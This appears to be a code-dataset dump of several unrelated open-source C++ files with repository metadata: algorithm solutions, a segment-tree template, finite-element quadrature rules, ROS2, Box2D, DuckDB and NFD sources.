i<multitab.size(); i++){ //멀티탭의 i번째 머신의 다음 사용 요청이 언제들어오는지 for(int j = machine_num; j<n_machine; j++){ if(multitab[i] == m_nums[j]){ next_idxs[i] = j; //사용 요청을 찾으면 break break; } } } int best_idx = 0; //가장 나중에 사용요청이 들어오는 머신의 멀티탭 번호를 찾는다. for(int i = 0; i<multitab.size(); i++){ if(next_idxs[best_idx] < next_idxs[i]){ best_idx = i; } } //찾은 멀티탭 번호의 슬롯에 머신을 바꿔 낀다 multitab[best_idx] = machine; n_plug_out++; } } cout<<n_plug_out; return 0; }
25.964286
72
0.469968
[ "vector" ]
6c646d4cb96691f38ae6cab5c23c6ad8c32ee504
1,641
cpp
C++
Leet Code/Combination Sum.cpp
Shubhrmcf07/Competitive-Coding-and-Interview-Problems
7281ea3163c0cf6938a3af7b54a8a14f97c97c0e
[ "MIT" ]
51
2020-02-24T11:14:00.000Z
2022-03-24T09:32:18.000Z
Leet Code/Combination Sum.cpp
Shubhrmcf07/Competitive-Coding-and-Interview-Problems
7281ea3163c0cf6938a3af7b54a8a14f97c97c0e
[ "MIT" ]
3
2020-10-02T08:16:09.000Z
2021-04-17T16:32:38.000Z
Leet Code/Combination Sum.cpp
Shubhrmcf07/Competitive-Coding-and-Interview-Problems
7281ea3163c0cf6938a3af7b54a8a14f97c97c0e
[ "MIT" ]
18
2020-04-24T15:33:36.000Z
2022-03-24T09:32:20.000Z
/* Leet Code */ /* Title - Combination Sum */ /* Created By - Akash Modak */ /* Date - 26/09/2020 */ // Given a set of candidate numbers (candidates) (without duplicates) and a target number (target), find all unique combinations in candidates where the candidate numbers sums to target. // The same repeated number may be chosen from candidates unlimited number of times. // Note: // All numbers (including target) will be positive integers. // The solution set must not contain duplicate combinations. // Example 1: // Input: candidates = [2,3,6,7], target = 7, // A solution set is: // [ // [7], // [2,2,3] // ] // Example 2: // Input: candidates = [2,3,5], target = 8, // A solution set is: // [ // [2,2,2,2], // [2,3,3], // [3,5] // ] class Solution { public: vector<vector<int> > res; int i=0; void generate(vector<int>& out,vector<int> a,int start,int target,int sum){ if(sum==target){ res.push_back(out); return ; } for(int i=start;i<a.size();i++){ sum+=a[i]; if(sum>target) return; out.push_back(a[i]); generate(out,a,i,target,sum); out.pop_back(); sum-=a[i]; } } vector<vector<int>> combinationSum(vector<int>& candidates, int target) { if(candidates.size()==0) return res; sort(candidates.begin(),candidates.end()); vector<int> out; generate(out,candidates,0,target,0); return res; } };
25.246154
187
0.531383
[ "vector" ]
6c64cd2a70ff2a99251b215e2042e3c17b13cd79
3,578
hpp
C++
src/ndnSIM/NFD/tools/nfdc/rib-module.hpp
NDNLink/NDN-Chord
cfabf8f56eea2c4ba47052ce145a939ebdc21e57
[ "MIT" ]
1
2021-09-07T04:12:15.000Z
2021-09-07T04:12:15.000Z
src/ndnSIM/NFD/tools/nfdc/rib-module.hpp
NDNLink/NDN-Chord
cfabf8f56eea2c4ba47052ce145a939ebdc21e57
[ "MIT" ]
null
null
null
src/ndnSIM/NFD/tools/nfdc/rib-module.hpp
NDNLink/NDN-Chord
cfabf8f56eea2c4ba47052ce145a939ebdc21e57
[ "MIT" ]
1
2020-07-15T06:21:03.000Z
2020-07-15T06:21:03.000Z
/* -*- Mode:C++; c-file-style:"gnu"; indent-tabs-mode:nil; -*- */ /* * Copyright (c) 2014-2018, Regents of the University of California, * Arizona Board of Regents, * Colorado State University, * University Pierre & Marie Curie, Sorbonne University, * Washington University in St. Louis, * Beijing Institute of Technology, * The University of Memphis. * * This file is part of NFD (Named Data Networking Forwarding Daemon). * See AUTHORS.md for complete list of NFD authors and contributors. * * NFD is free software: you can redistribute it and/or modify it under the terms * of the GNU General Public License as published by the Free Software Foundation, * either version 3 of the License, or (at your option) any later version. * * NFD is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR * PURPOSE. See the GNU General Public License for more details. * * You should have received a copy of the GNU General Public License along with * NFD, e.g., in COPYING.md file. If not, see <http://www.gnu.org/licenses/>. */ #ifndef NFD_TOOLS_NFDC_RIB_MODULE_HPP #define NFD_TOOLS_NFDC_RIB_MODULE_HPP #include "module.hpp" #include "command-parser.hpp" namespace nfd { namespace tools { namespace nfdc { using ndn::nfd::RibEntry; using ndn::nfd::Route; /** \brief provides access to NFD RIB management * \sa https://redmine.named-data.net/projects/nfd/wiki/RibMgmt */ class RibModule : public Module, noncopyable { public: /** \brief register 'route list', 'route show', 'route add', 'route remove' commands */ static void registerCommands(CommandParser& parser); /** \brief the 'route list' command */ static void list(ExecuteContext& ctx); /** \brief the 'route show' command */ static void show(ExecuteContext& ctx); /** \brief the 'route add' command */ static void add(ExecuteContext& ctx); /** \brief the 'route remove' command */ static void remove(ExecuteContext& ctx); void fetchStatus(Controller& controller, const std::function<void()>& onSuccess, const Controller::DatasetFailCallback& onFailure, const CommandOptions& options) override; void formatStatusXml(std::ostream& os) const override; void formatStatusText(std::ostream& os) const override; private: using RoutePredicate = std::function<bool(const RibEntry&, const Route&)>; static void listRoutesImpl(ExecuteContext& ctx, const RoutePredicate& filter); /** \brief format a single status item as XML * \param os output stream * \param item status item */ void formatItemXml(std::ostream& os, const RibEntry& item) const; /** \brief format a RibEntry as text * \param os output stream * \param entry RIB entry */ static void formatEntryText(std::ostream& os, const RibEntry& entry); /** \brief format a Route as text * \param os output stream * \param entry RIB entry * \param route RIB route within \p entry * \param includePrefix whether to print the name prefix */ static void formatRouteText(std::ostream& os, const RibEntry& entry, const Route& route, bool includePrefix); private: std::vector<RibEntry> m_status; }; } // namespace nfdc } // namespace tools } // namespace nfd #endif // NFD_TOOLS_NFDC_RIB_MODULE_HPP
29.570248
86
0.671884
[ "vector" ]
6c6a3d4047095079d56d639ff32c5659bc8622a3
302
cpp
C++
852. Peak Index in a Mountain Array.cpp
kushagra-18/Leetcode-solutions
cf276e6cc5491429144a79c59dd1097f1d625a6b
[ "MIT" ]
null
null
null
852. Peak Index in a Mountain Array.cpp
kushagra-18/Leetcode-solutions
cf276e6cc5491429144a79c59dd1097f1d625a6b
[ "MIT" ]
null
null
null
852. Peak Index in a Mountain Array.cpp
kushagra-18/Leetcode-solutions
cf276e6cc5491429144a79c59dd1097f1d625a6b
[ "MIT" ]
null
null
null
class Solution { public: int peakIndexInMountainArray(vector<int>& arr) { int n = arr.size(); int i = 0; while(arr[i] < arr[i+1]) { i++; } return i; } };
15.1
52
0.317881
[ "vector" ]
6c737cfb986858bad026ea6dfd93fe02aca146fd
2,557
cpp
C++
src/DebugDraw.cpp
coxm/b2draw
e1dc391243161e8f4a88a05fa590f1804cd84e03
[ "MIT" ]
null
null
null
src/DebugDraw.cpp
coxm/b2draw
e1dc391243161e8f4a88a05fa590f1804cd84e03
[ "MIT" ]
null
null
null
src/DebugDraw.cpp
coxm/b2draw
e1dc391243161e8f4a88a05fa590f1804cd84e03
[ "MIT" ]
null
null
null
#include <cmath> #include <Box2D/Dynamics/b2World.h> #include "b2draw/algorithm.h" #include "b2draw/DebugDraw.h" namespace b2draw { DebugDraw::DebugDraw( GLint positionAttribLoc, GLint colourAttribLoc, unsigned numCircleSegments, float32 fillAlpha, float32 axisScale ) : m_lineRenderer{positionAttribLoc, colourAttribLoc, numCircleSegments} , m_fillRenderer{positionAttribLoc, colourAttribLoc, numCircleSegments} , m_fillAlpha{fillAlpha} , m_axisScale{axisScale} { } DebugDraw::~DebugDraw() noexcept = default; void DebugDraw::DrawPolygon( b2Vec2 const* pVertices, int32 vertexCount, b2Color const& colour ) { m_lineRenderer.addPolygon(pVertices, vertexCount, colour); } void DebugDraw::DrawSolidPolygon( b2Vec2 const* pVertices, int32 vertexCount, b2Color const& colour ) { b2Color fillColour{colour}; fillColour.a = m_fillAlpha; m_fillRenderer.addPolygon(pVertices, vertexCount, fillColour); } void DebugDraw::DrawCircle( b2Vec2 const& centre, float32 radius, b2Color const& colour ) { m_lineRenderer.addCircle(centre, radius, colour); } void DebugDraw::DrawSolidCircle( b2Vec2 const& centre, float32 radius, b2Vec2 const& axis, b2Color const& colour ) { b2Color fillColour{colour}; fillColour.a = m_fillAlpha; m_fillRenderer.addCircle(centre, radius, fillColour); m_lineRenderer.addSegment( centre, centre + radius * axis, b2Color{0.0f, 0.0f, 0.0f, 1.0f} ); } void DebugDraw::DrawSegment( b2Vec2 const& begin, b2Vec2 const& end, b2Color const& colour ) { m_lineRenderer.addSegment(begin, end, colour); } void DebugDraw::DrawPoint( b2Vec2 const& point, float32 size, b2Color const& colour ) { constexpr int32 numVertices{4}; b2Vec2 const vertices[numVertices] = { b2Vec2{point.x - 0.1f, point.y - 0.1f}, b2Vec2{point.x + 0.1f, point.y - 0.1f}, b2Vec2{point.x + 0.1f, point.y + 0.1f}, b2Vec2{point.x - 0.1f, point.y + 0.1f} }; DrawSolidPolygon(&vertices[0], numVertices, colour); } void DebugDraw::DrawTransform(b2Transform const& xf) { b2Vec2 end = xf.p + m_axisScale * xf.q.GetXAxis(); m_lineRenderer.addSegment(xf.p, end, b2Color{1.0f, 0.0f, 0.0f}); end = xf.p + m_axisScale * xf.q.GetYAxis(); m_lineRenderer.addSegment(xf.p, end, b2Color{0.0f, 1.0f, 0.0f}); } void DebugDraw::BufferData() { m_lineRenderer.bufferData(); m_fillRenderer.bufferData(); } void DebugDraw::Render() { m_lineRenderer.render(GL_LINE_LOOP); m_fillRenderer.render(GL_TRIANGLE_FAN); } void DebugDraw::Clear() { m_lineRenderer.clear(); m_fillRenderer.clear(); } } // namespace b2draw
17.277027
72
0.736019
[ "render" ]
6c74193ee931214357284b95c13d3b5724e88026
2,675
hpp
C++
src/include/duckdb/main/database.hpp
ChuyingHe/duckdb-master-rl
28edfc40bd012d4094442c0dfa7339a0c52a4ee8
[ "MIT" ]
1
2021-09-15T10:29:20.000Z
2021-09-15T10:29:20.000Z
src/include/duckdb/main/database.hpp
ChuyingHe/duckdb-master-rl
28edfc40bd012d4094442c0dfa7339a0c52a4ee8
[ "MIT" ]
null
null
null
src/include/duckdb/main/database.hpp
ChuyingHe/duckdb-master-rl
28edfc40bd012d4094442c0dfa7339a0c52a4ee8
[ "MIT" ]
null
null
null
//===----------------------------------------------------------------------===// // DuckDB // // duckdb/main/database.hpp // // //===----------------------------------------------------------------------===// #pragma once #include "duckdb/common/mutex.hpp" #include "duckdb/common/winapi.hpp" #include "duckdb/main/config.hpp" #include "duckdb/main/extension.hpp" namespace duckdb { class StorageManager; // StorageManager is responsible for managing the physical storage of the database on disk class Catalog; // The Catalog object represents the catalog of the database. class TransactionManager; // The Transaction Manager is responsible for creating and managing transactions class ConnectionManager; // Connect the DatabaseInstance and ClientContext class FileSystem; class TaskScheduler; // The TaskScheduler is responsible for managing tasks and threads class ObjectCache; // ObjectCache is the base class for objects caches in DuckDB class DatabaseInstance : public std::enable_shared_from_this<DatabaseInstance> { friend class DuckDB; public: DUCKDB_API DatabaseInstance(); DUCKDB_API ~DatabaseInstance(); DBConfig config; // this is optional and only used in tests at the moment public: StorageManager &GetStorageManager(); Catalog &GetCatalog(); FileSystem &GetFileSystem(); TransactionManager &GetTransactionManager(); TaskScheduler &GetScheduler(); ObjectCache &GetObjectCache(); ConnectionManager &GetConnectionManager(); idx_t NumberOfThreads(); static DatabaseInstance &GetDatabase(ClientContext &context); private: void Initialize(const char *path, DBConfig *config); void Configure(DBConfig &config); private: unique_ptr<StorageManager> storage; unique_ptr<Catalog> catalog; unique_ptr<TransactionManager> transaction_manager; unique_ptr<TaskScheduler> scheduler; unique_ptr<ObjectCache> object_cache; unique_ptr<ConnectionManager> connection_manager; }; //! The database object. This object holds the catalog and all the //! database-specific meta information. class DuckDB { public: DUCKDB_API explicit DuckDB(const char *path = nullptr, DBConfig *config = nullptr); DUCKDB_API explicit DuckDB(const string &path, DBConfig *config = nullptr); DUCKDB_API ~DuckDB(); //! Reference to the actual database instance shared_ptr<DatabaseInstance> instance; public: template <class T> void LoadExtension() { T extension; extension.Load(*this); } DUCKDB_API FileSystem &GetFileSystem(); DUCKDB_API idx_t NumberOfThreads(); DUCKDB_API static const char *SourceID(); DUCKDB_API static const char *LibraryVersion(); }; } // namespace duckdb
30.747126
118
0.717757
[ "object" ]
6c7da1d6c71cd53f5ce5b89ab7f7362902fdc3f7
2,592
cpp
C++
test/dummy_scan_producer.cpp
StratomInc/laser_assembler
25640f99d043b37e34310e5e0194496b8cc55895
[ "Apache-2.0" ]
null
null
null
test/dummy_scan_producer.cpp
StratomInc/laser_assembler
25640f99d043b37e34310e5e0194496b8cc55895
[ "Apache-2.0" ]
null
null
null
test/dummy_scan_producer.cpp
StratomInc/laser_assembler
25640f99d043b37e34310e5e0194496b8cc55895
[ "Apache-2.0" ]
1
2021-04-08T15:03:40.000Z
2021-04-08T15:03:40.000Z
// Copyright 2018 Open Source Robotics Foundation, Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /* Author: Vijay Pradeep */ /** * Generate dummy scans in order to not be dependent on bag files in order to *run tests **/ #include <thread> #include <iostream> #include "rclcpp/rclcpp.hpp" #include "tf2/LinearMath/Transform.h" #include "sensor_msgs/msg/laser_scan.hpp" #include "tf2/LinearMath/Quaternion.h" #include "tf2_ros/transform_broadcaster.h" void runLoop(rclcpp::Node::SharedPtr node_) { rclcpp::Rate loopRate(5); auto scan_pub = node_->create_publisher<sensor_msgs::msg::LaserScan>("dummy_scan", 100); // Configure the Transform broadcaster tf2_ros::TransformBroadcaster broadcaster(node_); tf2::Transform laser_transform(tf2::Quaternion(0, 0, 0, 1)); // Populate the dummy laser scan sensor_msgs::msg::LaserScan scan; scan.header.frame_id = "dummy_laser_link"; scan.angle_min = 0.0; scan.angle_max = 99.0; scan.angle_increment = 1.0; scan.time_increment = .001; scan.scan_time = .05; scan.range_min = .01; scan.range_max = 100.0; const unsigned int N = 100; scan.ranges.resize(N); scan.intensities.resize(N); for (unsigned int i = 0; i < N; i++) { scan.ranges[i] = 10.0; scan.intensities[i] = 10.0; } // Keep sending scans until the assembler is done while (rclcpp::ok()) { scan.header.stamp = rclcpp::Clock().now(); RCLCPP_INFO(node_->get_logger(), "Publishing scan\n"); scan_pub->publish(scan); geometry_msgs::msg::TransformStamped tf_transform; tf_transform.header.stamp = rclcpp::Clock().now(); tf_transform.header.frame_id = "dummy_laser_link"; tf_transform.child_frame_id = "dummy_base_link"; tf_transform.transform.rotation.w = 1.0; broadcaster.sendTransform(tf_transform); loopRate.sleep(); } } int main(int argc, char ** argv) { rclcpp::init(argc, argv); rclcpp::Node::SharedPtr node = rclcpp::Node::make_shared("dummy_scan_producer"); std::thread run_thread(&runLoop, node); rclcpp::spin(node); run_thread.join(); return 0; }
29.793103
77
0.709877
[ "transform" ]
6c8968781048017e15a3e474bf8ec801f10a97f2
1,588
cpp
C++
QuickSortSample/quickSort.cpp
HarrisonDing/hd-data-structure
64a895fe4f7270fddfd9f159334c0710cc6a386d
[ "BSD-2-Clause" ]
null
null
null
QuickSortSample/quickSort.cpp
HarrisonDing/hd-data-structure
64a895fe4f7270fddfd9f159334c0710cc6a386d
[ "BSD-2-Clause" ]
null
null
null
QuickSortSample/quickSort.cpp
HarrisonDing/hd-data-structure
64a895fe4f7270fddfd9f159334c0710cc6a386d
[ "BSD-2-Clause" ]
null
null
null
/* * quickSort.cpp * * Created on: Nov 4, 2018 * Author: Harrison.Ding */ #include <iostream> #include <algorithm> #include <vector> using namespace std; vector<int> store; int size = 10; /*void swap(int & a, int &b) { int t = a; a = b; b = t; } void quick_sort(int left, int right) { int tmp = store.at(left); if (left > right) return; int l = left, r = right; while (l != r) { while (store.at(r) >= tmp && l < r) r--; while (store.at(l) <= tmp && l < r) l++; if (l <= r) swap(store.at(l), store.at(r)); } swap(store.at(left), store.at(l)); quick_sort(left, l - 1); quick_sort(l + 1, right); }*/ void init() { srand((unsigned) time(NULL)); for (int i = 0; i < size; i++) { store.push_back(rand() % 100); } } void show() { for_each(store.begin(), store.end(), [](int n) {cout << n << " ";}); cout << endl; } int partition(int left, int right) { int pivotKey = store.at(left); while(left < right) { while(left < right && store.at(right) >= pivotKey) right--; store[left] = store[right]; while (left < right && store.at(left) <= pivotKey) left++; store[right] = store[left]; } store[left] = pivotKey; return left; } void quickSort(int left, int right) { if(left >= right) return; int pivotPos = partition(left, right); quickSort(left, pivotPos - 1); quickSort(pivotPos + 1, right); } void sort() { if (store.size() == 0) return; quickSort(0, store.size() - 1); } int main() { init(); cout << "After init ..." << endl; show(); sort(); cout << "\nAfter quick sort ..." << endl; show(); }
15.88
69
0.569899
[ "vector" ]
6c8db6ae0bc599e64954749c8c6a38a00e20fd66
1,373
cpp
C++
data-structures/STree.cpp
TISparta/competitive-programming-library
37d631b6b62bc0a603b3a510236980561d65f868
[ "MIT" ]
1
2020-03-31T12:06:37.000Z
2020-03-31T12:06:37.000Z
data-structures/STree.cpp
TISparta/competitive-programming-library
37d631b6b62bc0a603b3a510236980561d65f868
[ "MIT" ]
null
null
null
data-structures/STree.cpp
TISparta/competitive-programming-library
37d631b6b62bc0a603b3a510236980561d65f868
[ "MIT" ]
null
null
null
struct STree { int from, to; struct State { // TODO }; vector <State> st; State NIL; // TODO void build (int u, int l, int r, const vi& arr) { if (l == r) { // TODO return; } int m = (l + r) >> 1; int lu = u << 1; int ru = lu | 1; build(lu, l, m, arr); build(ru, m + 1, r, arr); st[u] = merge(st[lu], st[ru]); } STree (int l, int r, const vi& arr): from(l), to(r) { st.resize(4 * r); build(1, l, r, arr); } State merge (State lu, State ru) { // TODO } void push (int u, int l, int r) { // TODO } void update (int L, int R, int val, int u, int l, int r) { push(u, l, r); if (r < L or R < l) return; if (L <= l and r <= R) { // TODO push(u, l, r); return; } int m = (l + r) >> 1; int lu = u << 1; int ru = lu | 1; update(L, R, val, lu, l, m); update(L, R, val, ru, m + 1, r); st[u] = merge(st[lu], st[ru]); } void update (int L, int R, int val) { update(L, R, val, 1, from, to); } State query (int L, int R, int u, int l, int r) { push(u, l, r); if (r < L or R < l) return NIL; if (L <= l and r <= R) return st[u]; int m = (l + r) >> 1; return merge(query(L, R, (u << 1), l, m), query(L, R, (u << 1) | 1, m + 1, r)); } State query (int L, int R) { return query(L, R, 1, from, to); } };
21.453125
83
0.450109
[ "vector" ]
6c9262cdb9502af82fca013e098ce043861e34a1
11,105
hpp
C++
viennafem/quadrature/hexahedron.hpp
viennafem/viennafem-dev
1f2d772cef5fb1c148e22e5bbbb6302b301e896b
[ "MIT" ]
3
2019-06-23T17:35:29.000Z
2020-02-19T14:39:03.000Z
viennafem/quadrature/hexahedron.hpp
viennafem/viennafem-dev
1f2d772cef5fb1c148e22e5bbbb6302b301e896b
[ "MIT" ]
3
2019-11-17T03:28:47.000Z
2020-03-04T03:40:11.000Z
viennafem/quadrature/hexahedron.hpp
viennafem/viennafem-dev
1f2d772cef5fb1c148e22e5bbbb6302b301e896b
[ "MIT" ]
1
2021-12-23T20:24:15.000Z
2021-12-23T20:24:15.000Z
#ifndef VIENNAFEM_QUADRATURE_HEXAHEDRON_HPP #define VIENNAFEM_QUADRATURE_HEXAHEDRON_HPP /* ========================================================================= Copyright (c) 2012-2014, Institute for Microelectronics, Institute for Analysis and Scientific Computing, TU Wien. ----------------- ViennaFEM - The Vienna Finite Element Method Library ----------------- Author: Karl Rupp rupp@iue.tuwien.ac.at License: MIT (X11), see file LICENSE in the ViennaFEM base directory ============================================================================ */ #include "viennafem/forwards.h" #include "viennafem/cell_quan.hpp" #include "viennamath/forwards.h" #include "viennamath/expression.hpp" #include "viennamath/manipulation/substitute.hpp" #include "viennamath/manipulation/diff.hpp" #include "viennamath/manipulation/eval.hpp" #include "viennamath/runtime/numerical_quadrature.hpp" /** @file viennafem/quadrature/hexahedron.hpp @brief Provides quadrature rules for hexahedra */ namespace viennafem { // // // Exact for polynomials up to order 1 // // /** @brief Gaussian quadrature rule exact for polynomials up to order 1 */ template <typename InterfaceType> class rt_gauss_quad_element <viennafem::unit_cube, 1, InterfaceType> : public viennamath::numerical_quadrature_interface<InterfaceType> { typedef typename InterfaceType::numeric_type NumericT; typedef rt_gauss_quad_element <viennafem::unit_cube, 1, InterfaceType> self_type; typedef viennamath::numerical_quadrature_interface<InterfaceType> BaseType; public: explicit rt_gauss_quad_element() : p_(3) { p_[0] = 1.0/2.0; p_[1] = 1.0/2.0; p_[2] = 1.0/2.0; } BaseType * clone() const { return new self_type(); } NumericT eval(viennamath::rt_interval<InterfaceType> const & /*interv*/, viennamath::rt_expr<InterfaceType> const & e, viennamath::rt_variable<InterfaceType> const & /*var*/) const { return viennamath::eval(e, p_); } private: std::vector<NumericT> p_; }; // // // Exact for polynomials up to degree 2 // // // // // Exact for polynomials up to degree 3: // // /** @brief Gaussian quadrature rule exact for polynomials up to order 3 */ template <typename InterfaceType> class rt_gauss_quad_element <viennafem::unit_cube, 3, InterfaceType> : public viennamath::numerical_quadrature_interface<InterfaceType> { typedef typename InterfaceType::numeric_type NumericT; typedef rt_gauss_quad_element <viennafem::unit_cube, 3, InterfaceType> self_type; typedef viennamath::numerical_quadrature_interface<InterfaceType> BaseType; public: enum { num_points = 8 }; explicit rt_gauss_quad_element() : abscissas_(num_points, std::vector<numeric_type>(3)) { abscissas_[0][0] = 0.7886751345948125; abscissas_[0][1] = 0.7886751345948125; abscissas_[0][2] = 0.7886751345948125; abscissas_[1][0] = 0.7886751345948125; abscissas_[1][1] = 0.7886751345948125; abscissas_[1][2] = 0.2113248654051875; abscissas_[2][0] = 0.7886751345948125; abscissas_[2][1] = 0.2113248654051875; abscissas_[2][2] = 0.7886751345948125; abscissas_[3][0] = 0.7886751345948125; abscissas_[3][1] = 0.2113248654051875; abscissas_[3][2] = 0.2113248654051875; abscissas_[4][0] = 0.2113248654051875; abscissas_[4][1] = 0.7886751345948125; abscissas_[4][2] = 0.7886751345948125; abscissas_[5][0] = 0.2113248654051875; abscissas_[5][1] = 0.7886751345948125; abscissas_[5][2] = 0.2113248654051875; abscissas_[6][0] = 0.2113248654051875; abscissas_[6][1] = 0.2113248654051875; abscissas_[6][2] = 0.7886751345948125; abscissas_[7][0] = 0.2113248654051875; abscissas_[7][1] = 0.2113248654051875; abscissas_[7][2] = 0.2113248654051875; } BaseType * clone() const { return new self_type(); } NumericT eval(viennamath::rt_interval<InterfaceType> const & /*interv*/, viennamath::rt_expr<InterfaceType> const & e, viennamath::rt_variable<InterfaceType> const & /*var*/) const { NumericT result = 0; for (std::size_t i=0; i<num_points; ++i) result += viennamath::eval(e, abscissas_[i]); return result / 8.0; } private: std::vector<std::vector<NumericT> > abscissas_; }; // // // Exact for polynomials up to order 5 // // /** @brief Gaussian quadrature rule exact for polynomials up to order 5 */ template <typename InterfaceType> class rt_gauss_quad_element <viennafem::unit_cube, 5, InterfaceType> : public viennamath::numerical_quadrature_interface<InterfaceType> { typedef typename InterfaceType::numeric_type NumericT; typedef rt_gauss_quad_element <viennafem::unit_cube, 5, InterfaceType> self_type; typedef viennamath::numerical_quadrature_interface<InterfaceType> BaseType; public: enum { num_points = 27 }; explicit rt_gauss_quad_element() : abscissas_(num_points, std::vector<numeric_type>(3)), weights_(num_points) { abscissas_[0][0] = 0.11270166537925829786; abscissas_[0][1] = 0.11270166537925829786; abscissas_[0][2] = 0.11270166537925829786; abscissas_[1][0] = 0.11270166537925829786; abscissas_[1][1] = 0.11270166537925829786; abscissas_[1][2] = 0.5; abscissas_[2][0] = 0.11270166537925829786; abscissas_[2][1] = 0.11270166537925829786; abscissas_[2][2] = 0.88729833462074170214; abscissas_[3][0] = 0.11270166537925829786; abscissas_[3][1] = 0.5; abscissas_[3][2] = 0.11270166537925829786; abscissas_[4][0] = 0.11270166537925829786; abscissas_[4][1] = 0.5; abscissas_[4][2] = 0.5; abscissas_[5][0] = 0.11270166537925829786; abscissas_[5][1] = 0.5; abscissas_[5][2] = 0.88729833462074170214; abscissas_[6][0] = 0.11270166537925829786; abscissas_[6][1] = 0.88729833462074170214; abscissas_[6][2] = 0.11270166537925829786; abscissas_[7][0] = 0.11270166537925829786; abscissas_[7][1] = 0.88729833462074170214; abscissas_[7][2] = 0.5; abscissas_[8][0] = 0.11270166537925829786; abscissas_[8][1] = 0.88729833462074170214; abscissas_[8][2] = 0.88729833462074170214; abscissas_[ 9][0] = 0.5; abscissas_[ 9][1] = 0.11270166537925829786; abscissas_[ 9][2] = 0.11270166537925829786; abscissas_[10][0] = 0.5; abscissas_[10][1] = 0.11270166537925829786; abscissas_[10][2] = 0.5; abscissas_[11][0] = 0.5; abscissas_[11][1] = 0.11270166537925829786; abscissas_[11][2] = 0.88729833462074170214; abscissas_[12][0] = 0.5; abscissas_[12][1] = 0.5; abscissas_[12][2] = 0.11270166537925829786; abscissas_[13][0] = 0.5; abscissas_[13][1] = 0.5; abscissas_[13][2] = 0.5; abscissas_[14][0] = 0.5; abscissas_[14][1] = 0.5; abscissas_[14][2] = 0.88729833462074170214; abscissas_[15][0] = 0.5; abscissas_[15][1] = 0.88729833462074170214; abscissas_[15][2] = 0.11270166537925829786; abscissas_[16][0] = 0.5; abscissas_[16][1] = 0.88729833462074170214; abscissas_[16][2] = 0.5; abscissas_[17][0] = 0.5; abscissas_[17][1] = 0.88729833462074170214; abscissas_[17][2] = 0.88729833462074170214; abscissas_[18][0] = 0.88729833462074170214; abscissas_[18][1] = 0.11270166537925829786; abscissas_[18][2] = 0.11270166537925829786; abscissas_[19][0] = 0.88729833462074170214; abscissas_[19][1] = 0.11270166537925829786; abscissas_[19][2] = 0.5; abscissas_[20][0] = 0.88729833462074170214; abscissas_[20][1] = 0.11270166537925829786; abscissas_[20][2] = 0.88729833462074170214; abscissas_[21][0] = 0.88729833462074170214; abscissas_[21][1] = 0.5; abscissas_[21][2] = 0.11270166537925829786; abscissas_[22][0] = 0.88729833462074170214; abscissas_[22][1] = 0.5; abscissas_[22][2] = 0.5; abscissas_[23][0] = 0.88729833462074170214; abscissas_[23][1] = 0.5; abscissas_[23][2] = 0.88729833462074170214; abscissas_[24][0] = 0.88729833462074170214; abscissas_[24][1] = 0.88729833462074170214; abscissas_[24][2] = 0.11270166537925829786; abscissas_[25][0] = 0.88729833462074170214; abscissas_[25][1] = 0.88729833462074170214; abscissas_[25][2] = 0.5; abscissas_[26][0] = 0.88729833462074170214; abscissas_[26][1] = 0.88729833462074170214; abscissas_[26][2] = 0.88729833462074170214; // weights: double denominator = 18.0 * 18.0 * 18.0; weights_[0] = (5.0 * 5.0 * 5.0) / denominator; weights_[1] = (5.0 * 5.0 * 8.0) / denominator; weights_[2] = (5.0 * 5.0 * 5.0) / denominator; weights_[3] = (5.0 * 8.0 * 5.0) / denominator; weights_[4] = (5.0 * 8.0 * 8.0) / denominator; weights_[5] = (5.0 * 8.0 * 5.0) / denominator; weights_[6] = (5.0 * 5.0 * 5.0) / denominator; weights_[7] = (5.0 * 5.0 * 8.0) / denominator; weights_[8] = (5.0 * 5.0 * 5.0) / denominator; weights_[ 9] = (8.0 * 5.0 * 5.0) / denominator; weights_[10] = (8.0 * 5.0 * 8.0) / denominator; weights_[11] = (8.0 * 5.0 * 5.0) / denominator; weights_[12] = (8.0 * 8.0 * 5.0) / denominator; weights_[13] = (8.0 * 8.0 * 8.0) / denominator; weights_[14] = (8.0 * 8.0 * 5.0) / denominator; weights_[15] = (8.0 * 5.0 * 5.0) / denominator; weights_[16] = (8.0 * 5.0 * 8.0) / denominator; weights_[17] = (8.0 * 5.0 * 5.0) / denominator; weights_[18] = (5.0 * 5.0 * 5.0) / denominator; weights_[19] = (5.0 * 5.0 * 8.0) / denominator; weights_[20] = (5.0 * 5.0 * 5.0) / denominator; weights_[21] = (5.0 * 8.0 * 5.0) / denominator; weights_[22] = (5.0 * 8.0 * 8.0) / denominator; weights_[23] = (5.0 * 8.0 * 5.0) / denominator; weights_[24] = (5.0 * 5.0 * 5.0) / denominator; weights_[25] = (5.0 * 5.0 * 8.0) / denominator; weights_[26] = (5.0 * 5.0 * 5.0) / denominator; } BaseType * clone() const { return new self_type(); } NumericT eval(viennamath::rt_interval<InterfaceType> const & /*interv*/, viennamath::rt_expr<InterfaceType> const & e, viennamath::rt_variable<InterfaceType> const & /*var*/) const { NumericT result = 0; for (std::size_t i=0; i<num_points; ++i) result += weights_[i] * viennamath::eval(e, abscissas_[i]); return result; } private: std::vector<std::vector<NumericT> > abscissas_; std::vector<NumericT> weights_; }; } #endif
49.798206
139
0.607204
[ "vector" ]
6c9bb6d6693d7d5ab3ecd2c14414138a444580f5
12,646
cpp
C++
pxr/imaging/lib/hdx/colorizeTask.cpp
chen2qu/USD
2bbedce05f61f37e7461b0319609f9ceeb91725e
[ "AML" ]
88
2018-07-13T01:22:00.000Z
2022-01-16T22:15:27.000Z
pxr/imaging/lib/hdx/colorizeTask.cpp
chen2qu/USD
2bbedce05f61f37e7461b0319609f9ceeb91725e
[ "AML" ]
1
2022-01-14T21:25:56.000Z
2022-01-14T21:25:56.000Z
pxr/imaging/lib/hdx/colorizeTask.cpp
chen2qu/USD
2bbedce05f61f37e7461b0319609f9ceeb91725e
[ "AML" ]
26
2018-06-06T03:39:22.000Z
2021-08-28T23:02:42.000Z
